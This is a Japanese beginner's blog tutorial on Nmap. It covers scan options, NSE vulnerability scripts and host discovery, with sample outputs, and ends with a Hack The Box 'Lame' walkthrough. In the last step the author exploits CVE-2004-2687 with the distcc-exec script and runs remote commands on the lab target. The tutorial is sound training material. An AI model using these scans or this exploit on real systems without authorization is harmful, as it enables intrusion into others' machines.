本記事で解決できる悩み

こんにちは、いなりまるです
このような悩みを解決する記事を用意しました!
ペネトレーションテストでNmapを使ってきた経験をもとに、初心者向けにNmapの使い方から結果の見方までを解説します。
記事の前半ではNmapの概要や主な機能、基本的な使い方や代表的なオプションについて解説し、後半ではNSEスクリプトによる脆弱性診断や、HTBを使った実践的なポートスキャンの流れを解説します。
この記事を読み終わるころには「実際に役立つNmapの使い方」が分かるだけではなく、「Nmapを使ったポートスキャンの流れ」も分かるようになりますよ。
Nmapの概要

Nmapは無料で利用できるポートスキャンツールです。
ここでは、Nmapの使い方を理解する上で必要な前提知識を解説します。
今すぐNmapの使い方を知りたい方は👇からどうぞ!
ポートスキャンとは
ポートスキャンとは、PCで開いているポートを調べる方法です。
ポートは、通信の入り口のようなもので、番号ごとに役割があります。
たとえば、Webページの表示には「443番」、リモート操作(SSH)には「22番」を使います。
それぞれのポートには決まったサービスが割り当てられていて、通信の内容を区別しています。
開いているポートの番号を見ることで、どんなサービスが動いているかを予測できます。
脆弱性のあるサービスが使われていれば、攻撃の入口になることがあります。
ポートスキャンの結果は、攻撃対象の選定や方法を考える際に役立ちます。
Nmapの特徴
Nmapには下記3つの主な機能があります。
- ポートスキャン
- 脆弱性スキャン
- ホストスキャン
ポートスキャン
ポートスキャンでは開いているポートを調べることができます。
Nmapを使えば、そのポートで動作しているサービスの名前やバージョンまで確認できます。
たとえば、「Apacheのバージョン」や「SSHの種類」がわかることもあります。
こうした情報から、古いソフトウェアを見つけることが可能です。
脆弱性スキャン
Nmapには、簡単な脆弱性スキャンの機能もあります。
サービスのバージョンを確認して、既知の脆弱性がないかを調べることができます。
古い「Apache」や「OpenSSH」などが見つかれば、攻撃の手がかりになります。
ホストスキャン
ホストスキャンでは、ネットワーク内にあるPCを探し出すことができます。
管理されていないPCなども見つかる可能性があります。
それにより、攻撃に使えそうな端末や経路を見つけることができます。
OSの種類やホスト名などの情報が得られることもあります。
Nmapのインストール方法
インストール方法
Nmapは、公式サイトから無料でダウンロードできます。
公式サイトNmapをダウンロード
Windows、macOS、Linuxに対応しています。
サイトの手順に従えば、5分ほどでインストールが完了します。
GUIで操作する方法
GUIで操作したい場合は、Windowsで使える「Zenmap」があります。
ZenmapはNmapの公式ツールで、画面を見ながら直感的に操作できます。
マウスを使ってスキャンの対象やオプションを設定できます。
なお、ZenmapはNmapのインストール時に一緒にインストールされます。
macOSやLinuxではGUIは提供されていないため、コマンド操作になります。
Nmapでのポートスキャン時の注意点
Nmapは、自分が管理しているネットワークだけで使いましょう。
他人のネットワークを許可なくスキャンすると、違法になることがあります。
必ず、自分のPCやネット環境だけを対象にスキャンを行ってください。
Nmapの基本的なコマンドと使い方

Nmapコマンドの基本構文
Nmapの使い方はかんたんです。
基本の形は下記のようになります。
nmap [スキャンタイプ] [オプション] {ターゲット}
スキャンタイプとオプションは任意のため、スキャンしたいPCのIPアドレスまたはホスト名を入れるだけで動作します。
$ nmap 10.10.72.197
Starting Nmap 7.80 ( https://nmap.org ) at 2025-06-27 13:26 BST
Nmap scan report for 10.10.72.197
Host is up (0.00037s latency).
Not shown: 995 filtered ports
PORT STATE SERVICE
21/tcp open ftp
53/tcp open domain
80/tcp open http
135/tcp open msrpc
3389/tcp open ms-wbt-server
Nmap done: 1 IP address (1 host up) scanned in 4.88 seconds
Nmapで表示されるポートの状態
Nmapでは、ポートの状態を大きく3つに分けて表示します。
「open」「closed」「filtered」がその代表です。
ポート状態 | 説明 |
open | 開いている状態 |
closed | 閉じている状態 |
filtered | 通れないか、反応がないためわからない状態 |
この3つを見れば、通信のようすをイメージできます。
UDPポートへポートスキャンする際の注意点
ポートには「TCP」と「UDP」の2つの種類があります。
Nmapではどちらのポートもスキャンできますが、UDPポートは少し特殊です。
UDPポートのスキャンは特性上どうしても時間がかかります。
とくに応答が返ってこないこともあるため、判断がむずかしくなります。
UDPポートをスキャンするときは、時間がかかることに注意しましょう。
Nmapで覚えておきたい主なオプション一覧と使い方

Nmapにはたくさんのオプションが用意されています。
ここでは、ペネトレーションテストの際によく使うオプションに絞って紹介します。
ターゲットの稼働確認をスキップする | -Pn
nmapでは通常、スキャン前にターゲットPCが稼働しているかを確認するためにpingで通信します。
pingは「稼働しているか」をたしかめる合図のようなもの
ですが、-Pnオプションを使うと、その確認をせずにスキャンを始めます。
これにより、pingに応答しないPCも調べることができます。
とくにWindowsなどでpingへの応答が無効な場合に便利です。
応答がないだけで稼働しているPCもあるので注意が必要です。
ターゲットPCが応答しないときはこのオプションを試してみてください。
$ nmap -Pn 10.10.72.197
Starting Nmap 7.80 ( https://nmap.org ) at 2025-06-27 13:57 BST
Nmap scan report for 10.10.72.197
Host is up (0.00029s latency).
Not shown: 995 filtered ports
PORT STATE SERVICE
21/tcp open ftp
53/tcp open domain
80/tcp open http
135/tcp open msrpc
3389/tcp open ms-wbt-server
Nmap done: 1 IP address (1 host up) scanned in 4.81 seconds
スピードの速いスキャン | -sS
-sSは「TCP SYNスキャン」と呼ばれるスピードの速いスキャン方法です。
このスキャンは、3ウェイハンドシェイクの途中で接続を止めて通信します。
3ウェイハンドシェイクは、通信を始める前にお互いが確認しあう手順のこと
そのため、次に紹介する-sTより速くスキャンできます。
なお、スキャン方法を指定しない場合は、自動的にこのTCP SYNスキャンが使われます。
-sSを使用するには管理者またはroot権限が必要です
Windowsであれば「管理者として実行」、Linuxは「sudo」が必要です
$ sudo nmap -sS 10.10.72.197
Starting Nmap 7.80 ( https://nmap.org ) at 2025-06-27 13:58 BST
Nmap scan report for 10.10.72.197
Host is up (0.00026s latency).
Not shown: 995 filtered ports
PORT STATE SERVICE
21/tcp open ftp
53/tcp open domain
80/tcp open http
135/tcp open msrpc
3389/tcp open ms-wbt-server
Nmap done: 1 IP address (1 host up) scanned in 4.71 seconds
TCP・UDPポートをスキャン | -sT / -sU
-sTはTCPポート、-sUはUDPポートに使います。
ターゲットPCがTCPとUDPの両方のポートを使っている可能性があります。
そのため、両方のポートに対してスキャンが必要です。
-sTは3ウェイハンドシェイクを完了するスキャンで、-sSよりもスピードが遅くなります。
$ nmap -sT 10.10.72.197
Starting Nmap 7.80 ( https://nmap.org ) at 2025-06-27 13:28 BST
Nmap scan report for 10.10.72.197
Host is up (0.00032s latency).
Not shown: 995 filtered ports
PORT STATE SERVICE
21/tcp open ftp
53/tcp open domain
80/tcp open http
135/tcp open msrpc
3389/tcp open ms-wbt-server
Nmap done: 1 IP address (1 host up) scanned in 4.72 seconds
-sUはUDPポートにスキャンを行うため、時間がかかることに注意しましょう。
-sUを使用するには管理者またはroot権限が必要です
Windowsであれば「管理者として実行」、Linuxは「sudo」が必要です
$ sudo nmap -sU 10.10.72.197
Starting Nmap 7.80 ( https://nmap.org ) at 2025-06-27 13:29 BST
Nmap scan report for 10.10.72.197
Host is up (0.00020s latency).
Not shown: 999 open|filtered ports
PORT STATE SERVICE
53/udp open domain
Nmap done: 1 IP address (1 host up) scanned in 49.50 seconds
指定したポートだけをスキャン | -p
-pを使うと、ポート番号を指定してスキャンできます。
たとえば「-p 80,443」のように書けば、必要なポートだけ調べられます。
$ nmap -p 80,443 10.10.72.197
Starting Nmap 7.80 ( https://nmap.org ) at 2025-06-27 13:32 BST
Nmap scan report for 10.10.72.197
Host is up (0.00010s latency).
PORT STATE SERVICE
80/tcp open http
443/tcp filtered https
Nmap done: 1 IP address (1 host up) scanned in 1.38 seconds
また「-p 1-100」とすれば、1番から100番までのポートをスキャンできます。
$ nmap -p 1-100 10.10.72.197
Starting Nmap 7.80 ( https://nmap.org ) at 2025-06-27 13:33 BST
Nmap scan report for 10.10.72.197
Host is up (0.00021s latency).
Not shown: 97 filtered ports
PORT STATE SERVICE
21/tcp open ftp
53/tcp open domain
80/tcp open http
Nmap done: 1 IP address (1 host up) scanned in 1.90 seconds
限定された範囲を調べたいときに使ってみてください。
全ポートをスキャンする | -p-
-p-は、0番から65535番までの全ポートを調べます。
通常は代表的な1000個のポートしかスキャンされません。
そのため、それ以外のポートを使っている場合に見逃すおそれがあります。
すべてのポートに対して調査できるこのオプションは必須です。
ただし、スキャン範囲が広いため時間がかかる点に注意が必要です。
$ nmap -p- 10.10.72.197
Starting Nmap 7.80 ( https://nmap.org ) at 2025-06-27 14:02 BST
Nmap scan report for 10.10.72.197
Host is up (0.00034s latency).
Not shown: 65527 filtered ports
PORT STATE SERVICE
21/tcp open ftp
53/tcp open domain
80/tcp open http
135/tcp open msrpc
3389/tcp open ms-wbt-server
5985/tcp open wsman
49666/tcp open unknown
49669/tcp open unknown
Nmap done: 1 IP address (1 host up) scanned in 103.85 seconds

5985,49666,49669のポートを新たに発見できましたね
スキャン速度を調整する | -T
-Tでスキャンの速さを調整できます。
値は「0〜5」の6段階で、数字が大きいほど速くなります。
ただし、速くするほど正確さが下がるので注意が必要です。
デフォルトでは「3」の速さが使われます。
スピードと正確さのバランスを考えて設定しましょう。
#T1でスキャン
$ nmap -T1 -p 21,53,80 10.10.72.197
Starting Nmap 7.80 ( https://nmap.org ) at 2025-06-27 13:36 BST
Nmap scan report for 10.10.72.197
Host is up (0.00019s latency).
PORT STATE SERVICE
21/tcp open ftp
53/tcp open domain
80/tcp open http
Nmap done: 1 IP address (1 host up) scanned in 60.16 seconds
#T2でスキャン
$ nmap -T2 -p 21,53,80 10.10.72.197
Starting Nmap 7.80 ( https://nmap.org ) at 2025-06-27 13:37 BST
Nmap scan report for 10.10.72.197
Host is up (0.00019s latency).
PORT STATE SERVICE
21/tcp open ftp
53/tcp open domain
80/tcp open http
Nmap done: 1 IP address (1 host up) scanned in 1.71 seconds
#T3でスキャン
$ nmap -T3 -p 21,53,80 10.10.72.197
Starting Nmap 7.80 ( https://nmap.org ) at 2025-06-27 13:37 BST
Nmap scan report for 10.10.72.197
Host is up (0.00016s latency).
PORT STATE SERVICE
21/tcp open ftp
53/tcp open domain
80/tcp open http
Nmap done: 1 IP address (1 host up) scanned in 0.17 seconds
#T4でスキャン
$ nmap -T4 -p 21,53,80 10.10.72.197
Starting Nmap 7.80 ( https://nmap.org ) at 2025-06-27 13:37 BST
Nmap scan report for 10.10.72.197
Host is up (0.00018s latency).
PORT STATE SERVICE
21/tcp open ftp
53/tcp open domain
80/tcp open http
Nmap done: 1 IP address (1 host up) scanned in 0.18 seconds
#T5でスキャン
$ nmap -T5 -p 21,53,80 10.10.72.197
Starting Nmap 7.80 ( https://nmap.org ) at 2025-06-27 13:37 BST
Nmap scan report for 10.10.72.197
Host is up (0.00017s latency).
PORT STATE SERVICE
21/tcp open ftp
53/tcp open domain
80/tcp open http
Nmap done: 1 IP address (1 host up) scanned in 0.17 seconds
OSの種類を推測する | -O
-Oを使うと、ターゲットのOSを調べることができます。
通信のようすから、WindowsかLinuxかなどを予想します。
予想は100%ではありませんが、おおよその目安になります。
-Oを使用するには管理者またはroot権限が必要です
Windowsであれば「管理者として実行」、Linuxは「sudo」が必要です

OSによって攻撃方法が変わるため、OSの情報は重要です!
$ nmap -O 10.10.72.197
Starting Nmap 7.80 ( https://nmap.org ) at 2025-06-27 13:41 BST
Nmap scan report for 10.10.72.197
Host is up (0.00040s latency).
Not shown: 995 filtered ports
PORT STATE SERVICE
21/tcp open ftp
53/tcp open domain
80/tcp open http
135/tcp open msrpc
3389/tcp open ms-wbt-server
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: specialized
Running (JUST GUESSING): AVtech embedded (87%)
Aggressive OS guesses: AVtech Room Alert 26W environmental monitor (87%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 1 hop
OS detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 9.38 seconds
サービスのバージョン情報取得 | -sV
-sVは、サービスの名前やバージョンを調べるためのオプションです。
たとえばApacheやSSHなど、動いているソフトの種類がわかります。
バージョン情報は脆弱性の判断にもつながります。
$ nmap -sV 10.10.72.197
Starting Nmap 7.80 ( https://nmap.org ) at 2025-06-27 13:42 BST
Nmap scan report for 10.10.72.197
Host is up (0.00026s latency).
Not shown: 995 filtered ports
PORT STATE SERVICE VERSION
21/tcp open ftp FileZilla ftpd
53/tcp open domain?
80/tcp open http Microsoft IIS httpd 10.0
135/tcp open msrpc Microsoft Windows RPC
3389/tcp open ms-wbt-server Microsoft Terminal Services
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port53-TCP:V=7.80%I=7%D=6/27%Time=685E91AC%P=x86_64-pc-linux-gnu%r(DNSV
SF:ersionBindReqTCP,20,"\0\x1e\0\x06\x81\x04\0\x01\0\0\0\0\0\0\x07version\
SF:x04bind\0\0\x10\0\x03");
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 148.07 seconds

FTPにはFileZilla、httpにはIISが使われていることがわかりますね
よく使うスクリプトを実行する | -sC
-sCは、よく使われるNSEスクリプトをまとめて実行します。
簡単な診断を一度にすませたいときに便利です。
$ nmap -sC 10.10.72.197
Starting Nmap 7.80 ( https://nmap.org ) at 2025-06-27 13:45 BST
Nmap scan report for 10.10.72.197
Host is up (0.00029s latency).
Not shown: 995 filtered ports
PORT STATE SERVICE
21/tcp open ftp
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_Can't get directory listing: TIMEOUT
| ftp-syst:
|_ SYST: UNIX emulated by FileZilla
53/tcp open domain
80/tcp open http
| http-methods:
|_ Potentially risky methods: TRACE
|_http-title: IIS Windows Server
135/tcp open msrpc
3389/tcp open ms-wbt-server
| rdp-ntlm-info:
| Target_Name: WIN-SCAN
| NetBIOS_Domain_Name: WIN-SCAN
| NetBIOS_Computer_Name: WIN-SCAN
| DNS_Domain_Name: win-scan
| DNS_Computer_Name: win-scan
| Product_Version: 10.0.17763
|_ System_Time: 2025-06-27T12:45:44+00:00
| ssl-cert: Subject: commonName=win-scan
| Not valid before: 2025-06-26T12:23:21
|_Not valid after: 2025-12-26T12:23:21
|_ssl-date: 2025-06-27T12:45:44+00:00; 0s from scanner time.
Nmap done: 1 IP address (1 host up) scanned in 35.88 seconds

FTPは「Anonymous FTP login allowed」と表示されたので、脆弱性があるかもしれません
情報をまとめて取得する | -A
-Aを使うと、「-sV」「-sC」「-O」などのオプションをまとめて実行します。
たくさんの情報を一気に集めたいときに便利なオプションです。
調査に時間はかかりますが、一度に情報がたくさん手に入ります。
効率よく深く調べたいときに便利です。
$ nmap -A 10.10.72.197
Starting Nmap 7.80 ( https://nmap.org ) at 2025-06-27 13:46 BST
Nmap scan report for 10.10.72.197
Host is up (0.00041s latency).
Not shown: 995 filtered ports
PORT STATE SERVICE VERSION
21/tcp open ftp FileZilla ftpd
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_Can't get directory listing: TIMEOUT
| ftp-syst:
|_ SYST: UNIX emulated by FileZilla
53/tcp open domain?
80/tcp open http Microsoft IIS httpd 10.0
| http-methods:
|_ Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
|_http-title: IIS Windows Server
135/tcp open msrpc Microsoft Windows RPC
3389/tcp open ms-wbt-server Microsoft Terminal Services
| rdp-ntlm-info:
| Target_Name: WIN-SCAN
| NetBIOS_Domain_Name: WIN-SCAN
| NetBIOS_Computer_Name: WIN-SCAN
| DNS_Domain_Name: win-scan
| DNS_Computer_Name: win-scan
| Product_Version: 10.0.17763
|_ System_Time: 2025-06-27T12:49:00+00:00
| ssl-cert: Subject: commonName=win-scan
| Not valid before: 2025-06-26T12:23:21
|_Not valid after: 2025-12-26T12:23:21
|_ssl-date: 2025-06-27T12:49:30+00:00; -1s from scanner time.
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: specialized
Running (JUST GUESSING): AVtech embedded (87%)
Aggressive OS guesses: AVtech Room Alert 26W environmental monitor (87%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 1 hop
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
TRACEROUTE
HOP RTT ADDRESS
1 0.41 ms 10.10.72.197
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 181.81 seconds
スキャン結果をファイルに保存する | -oN
-oNは、スキャン結果をテキスト形式で保存するオプションです。
ポートスキャンの結果は後から見返すことが多いため、保存しておくことをおすすめします。
「-oN ファイル名」で指定したファイルに保存できます。
このほかに、XML形式で保存する「-oX」などのオプションもあります。
#スキャン結果をsavefileに保存
$ nmap -p 21,80,135 -oN savefile 10.10.72.197
Starting Nmap 7.80 ( https://nmap.org ) at 2025-06-27 15:51 BST
Nmap scan report for 10.10.72.197
Host is up (0.00036s latency).
PORT STATE SERVICE
21/tcp open ftp
80/tcp open http
135/tcp open msrpc
Nmap done: 1 IP address (1 host up) scanned in 1.34 seconds
##savefileの内容
$ cat savefile
# Nmap 7.80 scan initiated Fri Jun 27 15:51:28 2025 as: nmap -p 21,80,135 -oN savefile 10.10.72.197
Nmap scan report for 10.10.72.197
Host is up (0.00036s latency).
PORT STATE SERVICE
21/tcp open ftp
80/tcp open http
135/tcp open msrpc
# Nmap done at Fri Jun 27 15:51:29 2025 -- 1 IP address (1 host up) scanned in 1.34 seconds
オプションの詳細を調べる | -h / 公式リファレンス
Nmapのオプションは「-h」や公式サイトで確認できます。
$ nmap -h
Nmap 7.80 ( https://nmap.org )
Usage: nmap [Scan Type(s)] [Options] {target specification}
TARGET SPECIFICATION:
Can pass hostnames, IP addresses, networks, etc.
Ex: scanme.nmap.org, microsoft.com/24, 192.168.0.1; 10.0.0-255.1-254
-iL <inputfilename>: Input from list of hosts/networks
-iR <num hosts>: Choose random targets
--exclude <host1[,host2][,host3],...>: Exclude hosts/networks
--excludefile <exclude_file>: Exclude list from file
・・・
わからないときや新しい使い方を知りたいときに役立ちます。
Nmapの他のオプションについては「-h」や公式リファレンスで確認してください。
公式リファレンスNmapリファレンスガイド
Nmapの使い方(脆弱性スキャン編)|NSEスクリプトを用いた診断方法

NSEスクリプトとは
NSEスクリプトは、Nmapに追加の機能をもたせるスクリプトです。
スクリプトを使うことで、脆弱性のチェックやログイン画面の確認などができます。
コマンドだけではできない調査を、自動で行ってくれるのが特長です。
専門知識がなくても、用意されたスクリプトを使えば実行できます。
NSEスクリプトカテゴリ一覧
NSEスクリプトには、いくつかのカテゴリがあります。
代表的なものには「vuln」「safe」「brute」「default」などがあります。
カテゴリ | 説明 |
vuln | 脆弱性の調査 |
safe | 安全な範囲での情報収集 |
brute | ブルートフォースを実行 |
default | よく使われる基本的なスクリプト集 |
目的に合ったカテゴリを選ぶと、効率よく調査ができます。
Nmapで脆弱性スキャンする方法
Nmapで脆弱性を調べるには、「vuln」カテゴリのスクリプトを使います。
使い方はシンプルで、「--script vuln」と指定するだけです。
$ nmap -p 80 --script vuln 10.10.72.197
Starting Nmap 7.80 ( https://nmap.org ) at 2025-06-27 16:03 BST
Nmap scan report for 10.10.72.197
Host is up (0.00027s latency).
PORT STATE SERVICE
80/tcp open http
|_clamav-exec: ERROR: Script execution failed (use -d to debug)
|_http-csrf: Couldn't find any CSRF vulnerabilities.
|_http-dombased-xss: Couldn't find any DOM based XSS.
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
Nmap done: 1 IP address (1 host up) scanned in 137.09 seconds
Nmapの使い方(ホストスキャン編)|ネットワーク内のPCを探す方法

Nmapを使えば、ネットワーク内にあるPCを見つけることができます。
やり方は、pingスキャンという方法で、「-sn」オプションを使います。
「-sn 調査範囲」で、指定した調査範囲にあるPCを探します。
$ nmap -sn 10.10.72.0/24
Starting Nmap 7.80 ( https://nmap.org ) at 2025-06-27 16:10 BST
Nmap scan report for 10.10.72.14)
Host is up (0.000052s latency).
Nmap scan report for 10.10.72.19)
Host is up (0.000033s latency).
Nmap scan report for 10.10.72.48)
Host is up (0.000032s latency).
・・・
Nmap done: 256 IP addresses (18 hosts up) scanned in 1.31 seconds
Nmapの使い方を実践で学ぶ|HTBでのポートスキャン例と解説

ここからは
「実際にNmapを使って試すにはどうしたらいいんだろう?」
「使い方はわかったけど、スキャン結果をどう見ればいいのかがわからない」
と悩む方のために、おすすめな練習環境とスキャン結果の見方をご紹介します。
Nmapの練習におすすめな環境
Nmapの練習には「TryHackMe」や「Hack The Box」がおすすめです。
これらはNmapなどを使って攻撃の練習ができるサービスだからです。
ターゲットPCの準備がいらず、すぐに試せるのも大きなメリットです。
TryHackMeとHack The Boxの解説は、下記の記事でしているので参考にしてみてください。
関連記事【初心者向け】TryHackMeの使い方や勉強方法について解説
関連記事Hack The Boxとは?料金やHTB Academyも解説
HTBでポートスキャンを実行!nmapコマンドと出力の見方
HTB(Hack The Box)のLameというマシンで、実際にnmapによるポートスキャンを試してみます。
ここでは下記について解説します。
- どのようにポートスキャンを実施するか
- ポートスキャンからどんな情報が得られるか
- ポートスキャン結果をどう読み解けばいいか
Step1 開いているポートを探す
まずは、どのポートが開いているかを確認します。
TCPポートはすべて調べるため「-p-」を使ってスキャンします。
UDPは時間がかかるので、代表的な100個のポートにしぼって調べました。
その結果、「21」「22」「139」「445」「3632」のTCPポートが開いていました。
#TCPポートへのスキャン
┌──(kali㉿kali)-[~]
└─$ nmap -Pn -p- 10.10.10.3
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-06-28 20:52 JST
Nmap scan report for 10.10.10.3
Host is up (0.19s latency).
Not shown: 65530 filtered tcp ports (no-response)
PORT STATE SERVICE
21/tcp open ftp
22/tcp open ssh
139/tcp open netbios-ssn
445/tcp open microsoft-ds
3632/tcp open distccd
Nmap done: 1 IP address (1 host up) scanned in 341.15 seconds
#UDPポートへのスキャン
┌──(kali㉿kali)-[~]
└─$ sudo nmap -T4 -Pn -sU --top-ports 100 10.10.10.3
[sudo] password for kali:
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-06-28 21:02 JST
Nmap scan report for 10.10.10.3
Host is up (0.20s latency).
Not shown: 98 open|filtered udp ports (no-response)
PORT STATE SERVICE
139/udp closed netbios-ssn
445/udp closed microsoft-ds
Nmap done: 1 IP address (1 host up) scanned in 7.82 seconds

「open」はポートが開いている、「closed」はポートが閉じていると判断します
Step2 開いているポートに詳細なスキャンを実施
つぎに、開いている5つのポートに「-sV」を使って詳しいスキャンを実行します。
ここでは、サービスの名前やバージョンなどを調べることが目的です。
スキャン結果からサービスの名前とバージョンがわかります。
- 21:「vsftpd 2.3.4」
- 22:「OpenSSH 4.7p1」
- 139,445:「Samba smbd 3.0.20-Debian」
- 3632:「distccd v1」
┌──(kali㉿kali)-[~]
└─$ nmap -Pn -A -p 21,22,139,445,3632 10.10.10.3
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-06-28 20:59 JST
Nmap scan report for 10.10.10.3
Host is up (0.19s latency).
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 2.3.4
| ftp-syst:
| STAT:
| FTP server status:
| Connected to 10.10.14.5
| Logged in as ftp
| TYPE: ASCII
| No session bandwidth limit
| Session timeout in seconds is 300
| Control connection is plain text
| Data connections will be plain text
| vsFTPd 2.3.4 - secure, fast, stable
|_End of status
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
22/tcp open ssh OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
| ssh-hostkey:
| 1024 60:0f:cf:e1:c0:5f:6a:74:d6:90:24:fa:c4:d5:6c:cd (DSA)
|_ 2048 56:56:24:0f:21:1d:de:a7:2b:ae:61:b1:24:3d:e8:f3 (RSA)
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open netbios-ssn Samba smbd 3.0.20-Debian (workgroup: WORKGROUP)
3632/tcp open distccd distccd v1 ((GNU) 4.2.4 (Ubuntu 4.2.4-1ubuntu4))
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
Host script results:
|_smb2-time: Protocol negotiation failed (SMB2)
|_clock-skew: mean: 2h00m23s, deviation: 2h49m47s, median: 19s
| smb-security-mode:
| account_used: <blank>
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
| smb-os-discovery:
| OS: Unix (Samba 3.0.20-Debian)
| Computer name: lame
| NetBIOS computer name:
| Domain name: hackthebox.gr
| FQDN: lame.hackthebox.gr
|_ System time: 2025-06-28T07:59:58-04:00
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 54.63 seconds
Step3 脆弱性スキャンを実施
つぎは、5つのポートに対して脆弱性スキャンを行います。
これにより、Step2で取得したバージョン情報に脆弱性がないかを確認できます。
その結果、「distccd v1」にCVE-2004-2687という脆弱性があることがわかりました。
CVE-2004-2687は、ターゲットPCで自由にコマンドを実行できる脆弱性
┌──(kali㉿kali)-[~]
└─$ sudo nmap -Pn --script vuln -p 21,22,139,445,3632 10.10.10.3
[sudo] password for kali:
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-06-28 21:53 JST
Pre-scan script results:
| broadcast-avahi-dos:
| Discovered hosts:
| 224.0.0.251
| After NULL UDP avahi packet DoS (CVE-2011-1002).
|_ Hosts are all up (not vulnerable).
Nmap scan report for 10.10.10.3
Host is up (0.19s latency).
PORT STATE SERVICE
21/tcp open ftp
22/tcp open ssh
139/tcp open netbios-ssn
445/tcp open microsoft-ds
3632/tcp open distccd
| distcc-cve2004-2687:
| VULNERABLE:
| distcc Daemon Command Execution
| State: VULNERABLE (Exploitable)
| IDs: CVE:CVE-2004-2687
| Risk factor: High CVSSv2: 9.3 (HIGH) (AV:N/AC:M/Au:N/C:C/I:C/A:C)
| Allows executing of arbitrary commands on systems running distccd 3.1 and
| earlier. The vulnerability is the consequence of weak service configuration.
|
| Disclosure date: 2002-02-01
| Extra information:
|
| uid=1(daemon) gid=1(daemon) groups=1(daemon)
|
| References:
| https://nvd.nist.gov/vuln/detail/CVE-2004-2687
| https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-2687
|_ https://distcc.github.io/security.html
Host script results:
|_smb-vuln-ms10-061: false
|_smb-vuln-ms10-054: false
|_smb-vuln-regsvc-dos: ERROR: Script execution failed (use -d to debug)
Nmap done: 1 IP address (1 host up) scanned in 163.61 seconds

脆弱性があると「VULNERABLE」の部分に詳細な情報が表示されます
Step4(発展)Nmapで脆弱性を利用した攻撃を実施
Nmapでは、NSEスクリプトで脆弱性を利用した攻撃を行うことも可能です。
今回使ったのは、CVE-2004-2687用のNSEスクリプトです。
CVE-2004-2687用のNSEスクリプトを「/usr/share/nmap/scripts」にダウンロードしておく必要がある
このスクリプトを実行することで、ターゲットPC上でコマンドが実行されます。
このように、nmapだけでも脆弱性を利用した攻撃が可能な場合もあります。
#「id」コマンドを実行
┌──(kali㉿kali)-[~]
└─$ nmap -Pn -p 3632 10.10.10.3 --script distcc-exec --script-args="distcc-exec.cmd='id'"
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-06-28 22:16 JST
Nmap scan report for 10.10.10.3
Host is up (0.19s latency).
PORT STATE SERVICE
3632/tcp open distccd
| distcc-exec:
| VULNERABLE:
| distcc Daemon Command Execution
| State: VULNERABLE (Exploitable)
| IDs: CVE:CVE-2004-2687
| Risk factor: High CVSSv2: 9.3 (HIGH) (AV:N/AC:M/Au:N/C:C/I:C/A:C)
| Allows executing of arbitrary commands on systems running distccd 3.1 and
| earlier. The vulnerability is the consequence of weak service configuration.
|
| Disclosure date: 2002-02-01
| Extra information:
|
| uid=1(daemon) gid=1(daemon) groups=1(daemon)
|
| References:
| https://distcc.github.io/security.html
| https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-2687
|_ https://nvd.nist.gov/vuln/detail/CVE-2004-2687
Nmap done: 1 IP address (1 host up) scanned in 0.87 seconds
#「hostname」コマンドを実行
┌──(kali㉿kali)-[~]
└─$ nmap -Pn -p 3632 10.10.10.3 --script distcc-exec --script-args="distcc-exec.cmd='hostname'"
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-06-28 22:17 JST
Nmap scan report for 10.10.10.3
Host is up (0.19s latency).
PORT STATE SERVICE
3632/tcp open distccd
| distcc-exec:
| VULNERABLE:
| distcc Daemon Command Execution
| State: VULNERABLE (Exploitable)
| IDs: CVE:CVE-2004-2687
| Risk factor: High CVSSv2: 9.3 (HIGH) (AV:N/AC:M/Au:N/C:C/I:C/A:C)
| Allows executing of arbitrary commands on systems running distccd 3.1 and
| earlier. The vulnerability is the consequence of weak service configuration.
|
| Disclosure date: 2002-02-01
| Extra information:
|
| lame
|
| References:
| https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-2687
| https://distcc.github.io/security.html
|_ https://nvd.nist.gov/vuln/detail/CVE-2004-2687
Nmap done: 1 IP address (1 host up) scanned in 0.87 seconds
idコマンドの結果は「uid=1(daemon) gid=1(daemon) groups=1(daemon)」
hostnameコマンドの結果は「lame」
として表示されているので、コマンドが実行できていると判断できます
まとめ:
「Nmapの使い方」と「スキャン結果の見方」を解説しました。
- Nmapでポートスキャン、脆弱性スキャン、ホストスキャンが可能
- NSEスクリプトを使うことで、Nmapに機能を追加
- スキャン結果から、サービスの名前やバージョンをチェック
今回紹介した使い方は実践で役に立つものなので、すぐにNmapを使ってポートスキャンができるようになります。
もちろん、他にも役立つ使い方はありますが、まずは基本的な使い方を理解しましょう。
Nmapのより詳しい使い方はTryHackMeやHTB Academyで学ぶことができます。
基本的な使い方を理解したら、これらの環境で実際にNmapを使ってみましょう。
TryHackMeやHTB Academyについては、こちらの記事を読んでみてください。
関連記事【初心者向け】TryHackMeの使い方や勉強方法について解説
関連記事Hack The Boxとは?料金やHTB Academyも解説
